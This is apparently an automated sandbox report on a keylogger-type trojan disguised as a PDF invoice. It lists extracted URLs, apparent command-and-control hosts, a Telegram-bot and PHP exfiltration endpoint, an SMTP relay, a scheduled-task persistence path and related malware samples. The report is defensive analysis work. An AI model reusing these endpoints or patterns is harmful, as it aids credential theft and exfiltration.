http://varders.kozow.com:8081	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.sajatypeworks.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003BF5000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000395A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000392D000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AD1000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003BEE000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C63000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DBD000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003D92000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CEF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/DPlease	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000A.00000002.1812624704.000000000254A000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002D25000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.mic	vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.82$	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.000000000294C000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028F7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BAF000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C1D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039C7000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003B44000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003952000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003C1A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AF6000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003E05000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.824	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20a	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.founder.com.cn/cn	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.jiyu-kobo.co.jp/	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003BF5000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000395A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000392D000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AD1000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003BEE000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C63000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DBD000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003D92000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://crl.micros	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4192935936.0000000006080000.00000004.00000020.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4192502862.00000000061D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
208.91.199.223	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535758
Start date and time:	2024-10-17 09:43:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Proforma Invoice_21-1541 And Packing List.pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/11@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 186 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Proforma Invoice_21-1541 And Packing List.pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
03:44:36	API Interceptor	8410267x Sleep call for process: Proforma Invoice_21-1541 And Packing List.pdf.exe modified
03:44:38	API Interceptor	12x Sleep call for process: powershell.exe modified
03:44:43	API Interceptor	5847877x Sleep call for process: vrhZELiHpiub.exe modified
08:44:42	Task Scheduler	Run new task: vrhZELiHpiub path: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse
	FRi4mYXiwD.ps1	Get hash	malicious	AsyncRAT	Browse
	FmpQycTC2G.ps1	Get hash	malicious	AsyncRAT	Browse
	4d5ZJqq0M7.vbs	Get hash	malicious	AsyncRAT	Browse
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	E-COURT NOTICE.html	Get hash	malicious	Unknown	Browse
188.114.96.3	zygWTMeQC2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	138231cm.n9shteam.in/CpuApiprotectTemp.php
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	Aunali_khokhawala-In Services.Agreement-SDYAMPA 416944.rtf	Get hash	malicious	EvilProxy, Fake Captcha, HTMLPhisher	Browse	vh26kx.pinboarddisplaced.com/?email=
	SMX-ACH0036173.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.casesrep.site/7z6q/
	http://sss-mmm-yyy.ru/	Get hash	malicious	Unknown	Browse	sss-mmm-yyy.ru/assets/img/emoji/1f1ff-1f1fc.png
	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sirr/five/fre.php
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	863811cm.nyafka.top/video_RequestpacketUpdategeneratorPublic.php
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/
	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
193.122.130.0	Payment Advise.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ACCOUNT STATEMENT.xls	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MeohlnK0WH.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Swift Copy Of Pending payment.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z95ReviseInvoice_USD_.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	z88Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.97.3
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ACGH8aovg0.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
us2.smtp.mailhostbox.com	Tax Invoice 103505.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	Scanned.pdf.pif.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	Request for Quotation Plug Valve.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	Cotizaci#U00f3n P13000996 pdf.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	ENQUIRY NEED QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	Payment Advice - Advice Ref pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	Purchase Order 007823-PO# 005307.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	SecuriteInfo.com.W32.Autoit.AOY.gen.Eldorado.13807.19631.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
checkip.dyndns.com	Payment Advise.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	QUOTATION.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	158.101.44.242
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
api.telegram.org	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	FRi4mYXiwD.ps1	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	FmpQycTC2G.ps1	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	4d5ZJqq0M7.vbs	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	E-COURT NOTICE.html	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	FRi4mYXiwD.ps1	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	FmpQycTC2G.ps1	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	4d5ZJqq0M7.vbs	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	E-COURT NOTICE.html	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	m68k.elf	Get hash	malicious	Mirai	Browse	1.13.147.12
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	m68k.elf	Get hash	malicious	Mirai	Browse	104.17.182.127
	7kyrTho2jq.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	Order 10172024.bat.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	polwRBk6mA.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	nsdtpYrJ6m.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	ebY8mbOLk4.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
ORACLE-BMC-31898US	mipsel.elf	Get hash	malicious	Mirai	Browse	129.147.170.47
	Payment Advise.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	arm7.elf	Get hash	malicious	Unknown	Browse	193.122.239.177
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Quotation Botisk 1475-HIRSCH Technik,____________________________________________.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	quotation list 1.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	New PO1 and Invoice1.xls	Get hash	malicious	Unknown	Browse	150.136.81.248
	Scanned Copy.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	QUOTATION.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	j2qv9oE81X.elf	Get hash	malicious	Mirai	Browse	152.67.248.95
